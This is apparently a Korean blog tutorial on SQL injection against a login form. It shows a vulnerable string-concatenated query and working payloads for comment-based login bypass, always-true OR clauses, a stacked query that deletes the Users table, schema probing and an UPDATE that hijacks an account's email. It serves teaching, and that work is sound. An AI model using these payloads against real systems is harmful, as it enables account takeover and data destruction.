SQL 인젝션 한번 보겠습니다.
한마디로 설명하면 로그인폼에 입력한 데이터가 DB로 가는데, DB로 가는 데이터 폼에 query문을 보내서, DB에 공격을 가하거나, 강제적으로 로그인을 시도하는 공격방법입니다.
자, 그러면 어떻게 하는지 봅시다.
SQL = "Select * From Users"
+ " Where UserID = '"+ UserID +"' And Password = '" + Password + "'"
이런 쿼리 문이 있다면, 주석을 통해 뒤에 것을 주석 처리할 수 있습니다.
[ 외부 입력값 ]
UserID: admin'--
Password: 아무거나
[ 실행되는 쿼리문 ]
Select * From Users Where UserID = 'admin'-- And Password = '아무거나'
(admin이라는 ID는 이미 알고 있다고 가정한다. 그리고 -- 는 MS SQL Server의 주석이다. MySQL의 경우 #을 사용해야 한다.)
또한 항상 참이 되도록 or을 이용하여 Boolean문을 구성할 수도 있습니다.
[ 외부 입력값 ]
UserID: test
Password: 1234' or '1'='1
[ 실행되는 쿼리문 ]
Select * From Users Where UserID = 'test' And Password='1234' or '1'='1'
또는 콜론(;)을 통해서 무력화시킬 수 있습니다.
[ 외부 입력값 ]
UserID: admin' ; DELETE From Users--
Password: 아무거나
[ 실행되는 쿼리문 ]
Select * From Users Where UserID = 'admin' ; DELETE From Users -- And Password='아무거나'
table, attribute를 찾아야 할 때 x’ AND attribute is null;# 을 통해서 attribute을 확인하고
x’ AND 1=(SELECT COUNT(*) FROM table);# 를 통해서 table명도 알아낼 수 있습니다.
아래와 같이 최종 쿼리를 정합니다.
x’; UPDATE table SET emailaddress = ‘본인email’ WHERE attribute=’기존email’;#
-- 참고
'개발 > 네트워크 보안' 카테고리의 다른 글
XSS (0) | 2019.12.13 |
---|---|
SQL Injection 방어 (0) | 2019.12.13 |
리눅스 간단 명령어 (0) | 2019.12.13 |
The Security Development Lifecycle (0) | 2019.12.10 |
Denial of Service (0) | 2019.12.10 |